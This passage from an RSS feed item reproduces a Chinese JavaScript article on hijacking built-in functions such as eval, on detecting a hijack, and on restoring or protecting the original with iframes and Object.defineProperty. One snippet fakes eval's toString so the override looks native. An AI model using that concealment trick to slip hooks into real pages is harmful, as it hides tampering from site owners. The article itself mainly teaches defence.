highlight-source-js"><pre>    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-c"><span class="pl-c">//</span>劫持过程省略</span>    };    <span class="pl-c1">window</span>.<span class="pl-smi">eval</span>.<span class="pl-en">toString</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(){        <span class="pl-k">return</span> <span class="pl-s"><span class="pl-pds">`</span>function eval() {</span><span class="pl-s">            [native code]</span><span class="pl-s">        }<span class="pl-pds">`</span></span>    };    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-smi">eval</span>.<span class="pl-c1">toString</span>());</pre></div><p>那我还能说点啥呢？ 所以检测其是否劫持还得判断其toString方法是否被改写，或者在原型链上的方法是否已改写。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-k">function</span> <span class="pl-en">hijacked</span>(<span class="pl-smi">fun</span>){        <span class="pl-c"><span class="pl-c">//</span>判断是否是干净的内置函数</span>        <span class="pl-k">return</span> <span class="pl-s"><span class="pl-pds">"</span>prototype<span class="pl-pds">"</span></span> <span class="pl-k">in</span> fun <span class="pl-k">||</span> <span class="pl-smi">fun</span>.<span class="pl-c1">toString</span>().<span class="pl-c1">replace</span>(<span class="pl-sr"><span class="pl-pds">/</span><span class="pl-c1">\n</span><span class="pl-k">|</span><span class="pl-c1">\s</span><span class="pl-pds">/</span>g</span>, <span class="pl-s"><span class="pl-pds">"</span><span class="pl-pds">"</span></span>) <span class="pl-k">!=</span> <span class="pl-s"><span class="pl-pds">"</span>function<span class="pl-pds">"</span></span><span class="pl-k">+</span><span class="pl-smi">fun</span>.<span class="pl-c1">name</span><span class="pl-k">+</span><span class="pl-s"><span class="pl-pds">"</span>(){[nativecode]}<span class="pl-pds">"</span></span>;    }    <span class="pl-k">if</span>(<span class="pl-en">hijacked</span>(eval)){        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-s"><span class="pl-pds">"</span>被劫持了<span class="pl-pds">"</span></span>);    }<span class="pl-k">else</span>{        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-s"><span class="pl-pds">"</span>没被劫持<span class="pl-pds">"</span></span>);    }</pre></div><h2><a id="user-content-4内置函数反劫持" class="anchor" href="https://github.com/scscms/guardJs/blob/master/Function-hijacking.md#4内置函数反劫持" ></a>4.内置函数反劫持</h2><ul><li>1.判断劫持后恢复 一旦判断被劫持后，我们就要想法恢复此方法。 假如劫持人有另存方法为某个变量就简单点，直接还原。但这也是非常不靠谱的。 假如劫持人有使用call调用原始方法，我们也是可以直接找回它的。</li></ul><div class="highlight highlight-source-js"><pre>    <span class="pl-k">var</span> _eval <span class="pl-k">=</span> <span class="pl-c1">window</span>.<span class="pl-smi">eval</span>;    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(str);        <span class="pl-smi">_eval</span>.<span class="pl-c1">call</span>(<span class="pl-c1">null</span>,str);    };    <span class="pl-c"><span class="pl-c">//</span>开始借用call恢复</span>    <span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>.<span class="pl-en">call</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">fun</span>){        <span class="pl-k">if</span>(<span class="pl-c1">this</span>.<span class="pl-c1">name</span> <span class="pl-k">==</span> <span class="pl-s"><span class="pl-pds">"</span>eval<span class="pl-pds">"</span></span>){            <span class="pl-c1">window</span>.<span class="pl-smi">eval</span> <span class="pl-k">=</span> <span class="pl-c1">this</span>;<span class="pl-c"><span class="pl-c">//</span>恢复方法</span>        }    };    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-c1">eval</span>(<span class="pl-s"><span class="pl-pds">"</span>var a = 1;<span class="pl-pds">"</span></span>));<span class="pl-c"><span class="pl-c">//</span>恢复前执行</span>    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-c1">eval</span>(<span class="pl-s"><span class="pl-pds">"</span>var b = 1;<span class="pl-pds">"</span></span>));<span class="pl-c"><span class="pl-c">//</span>恢复后执行</span></pre></div><p>此方法缺点也大，一是别人调用方法不一定使用call或apply，二是或许劫持者会事先禁用重写call、apply方法。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-c1">Object</span>.<span class="pl-en">defineProperty</span>(<span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>, <span class="pl-s"><span class="pl-pds">"</span>call<span class="pl-pds">"</span></span>, {        value<span class="pl-k">:</span> <span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>.<span class="pl-smi">call</span>,writable<span class="pl-k">:</span> <span class="pl-c1">false</span>,configurable<span class="pl-k">:</span> <span class="pl-c1">false</span>,enumerable<span class="pl-k">:</span> <span class="pl-c1">true</span>    });    <span class="pl-c1">Object</span>.<span class="pl-en">defineProperty</span>(<span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>, <span class="pl-s"><span class="pl-pds">"</span>apply<span class="pl-pds">"</span></span>, {        value<span class="pl-k">:</span> <span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>.<span class="pl-smi">apply</span>,writable<span class="pl-k">:</span> <span class="pl-c1">false</span>,configurable<span class="pl-k">:</span> <span class="pl-c1">false</span>,enumerable<span class="pl-k">:</span> <span class="pl-c1">true</span>    });</pre></div><p>最绿色环保的当然就是新建一个iframe干净环境来还原内置函数。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-k">var</span> _eval <span class="pl-k">=</span> <span class="pl-c1">window</span>.<span class="pl-smi">eval</span>;    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(str);        <span class="pl-smi">_eval</span>.<span class="pl-c1">call</span>(<span class="pl-c1">null</span>,str);    };    <span class="pl-k">function</span> <span class="pl-en">saveHook</span>(<span class="pl-smi">name</span>) {        <span class="pl-k">var</span> f <span class="pl-k">=</span> <span class="pl-c1">document</span>.<span class="pl-c1">createElement</span>(<span class="pl-s"><span class="pl-pds">"</span>iframe<span class="pl-pds">"</span></span>);        <span class="pl-smi">f</span>.<span class="pl-c1">style</span>.<span class="pl-c1">display</span> <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>none<span class="pl-pds">"</span></span>;        <span class="pl-c1">document</span>.<span class="pl-c1">body</span>.<span class="pl-c1">appendChild</span>(f);        <span class="pl-c1">window</span>[name]<span class="pl-k">=</span><span class="pl-smi">f</span>.<span class="pl-smi">contentWindow</span>[name];    }    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-smi">eval</span>.<span class="pl-c1">toString</span>());    <span class="pl-en">saveHook</span>(<span class="pl-s"><span class="pl-pds">"</span>eval<span class="pl-pds">"</span></span>);<span class="pl-c"><span class="pl-c">//</span>恢复方法</span>    <span class="pl-en">console</span>.<span class="pl-c1">info</span>(<span class="pl-smi">eval</span>.<span class="pl-c1">toString</span>());</pre></div><ul><li>2.预先打预防针</li></ul><p>其实我觉得最好的反劫持应该是防劫持，即给相应的方法打预防针。主要是通过修改原型配置，禁止重写方法对象。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-c1">Object</span>.<span class="pl-en">defineProperty</span>(<span class="pl-c1">window</span>, <span class="pl-s"><span class="pl-pds">'</span>eval<span class="pl-pds">'</span></span>, {        writable<span class="pl-k">:</span> <span class="pl-c1">false</span>,configurable<span class="pl-k">:</span> <span class="pl-c1">false</span>,enumerable<span class="pl-k">:</span> <span class="pl-c1">true</span>    });    <span class="pl-k">var</span> _eval <span class="pl-k">=</span> <span class="pl-c1">window</span>.<span class="pl-smi">eval</span>;    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(str);        <span class="pl-smi">_eval</span>.<span class="pl-c1">call</span>(<span class="pl-c1">null</span>,str);    };    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-smi">eval</span>.<span class="pl-c1">toString</span>());</pre></div><p>如上，此时eval重写将默默失败（严格模式下会报错）。但有个前提就是你的脚本要保证在劫持者之前执行。</p><h3><a id="user-content-5函数绑架" class="anchor" href="https://github.com/scscms/guardJs/blob/master/Function-hijacking.md#5函数绑架" ></a>5.函数绑架</h3><p>“函数绑架”我们暂且这样称呼它吧。意思是在不破坏原函数结构的基础上，附加绑上一个新方法函数，此函数的触发可定义在原函数调用之前或者之后再触发。这对我们跟踪函数调用非常有用。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-c1">Function</span>.<span class="pl-c1">prototype</span>.<span class="pl-en">kidnap</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">fun</span>){        <span class="pl-k">var</span> _this <span class="pl-k">=</span> <span class="pl-c1">this</span>;        <span class="pl-k">return</span> <span class="pl-k">function</span>(){            <span class="pl-smi">fun</span>.<span class="pl-c1">apply</span>(_this,<span class="pl-c1">arguments</span>);            <span class="pl-k">return</span> <span class="pl-smi">_this</span>.<span class="pl-c1">apply</span>(_this,<span class="pl-c1">arguments</span>);        }    };    <span class="pl-k">function</span> <span class="pl-en">fun</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(str);    }    fun <span class="pl-k">=</span> <span class="pl-smi">fun</span>.<span class="pl-en">kidnap</span>(<span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">info</span>(<span class="pl-s"><span class="pl-pds">"</span>初次绑架:<span class="pl-pds">"</span></span><span class="pl-k">+</span> str);    });    fun <span class="pl-k">=</span> <span class="pl-smi">fun</span>.<span class="pl-en">kidnap</span>(<span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-en">console</span>.<span class="pl-c1">info</span>(<span class="pl-s"><span class="pl-pds">"</span>再次绑架:<span class="pl-pds">"</span></span><span class="pl-k">+</span> str);    });    <span class="pl-en">fun</span>(<span class="pl-s"><span class="pl-pds">"</span>This is a secret<span class="pl-pds">"</span></span>);</pre></div><p>此类绑架因为是绑定在自定义函数里，所以判断是否有绑定有一定难度。不过你还是可以事先把函数保护起来的。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-c1">Object</span>.<span class="pl-en">defineProperty</span>(<span class="pl-c1">window</span>, <span class="pl-s"><span class="pl-pds">'</span>fun<span class="pl-pds">'</span></span>, {        writable<span class="pl-k">:</span> <span class="pl-c1">false</span>,configurable<span class="pl-k">:</span> <span class="pl-c1">false</span>,enumerable<span class="pl-k">:</span> <span class="pl-c1">true</span>    });    <span class="pl-c"><span class="pl-c">//</span>后继的绑架将失败</span></pre></div>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2285.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2285</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2285&amp;key=eab420e0</trackback:ping></item></channel></rss>
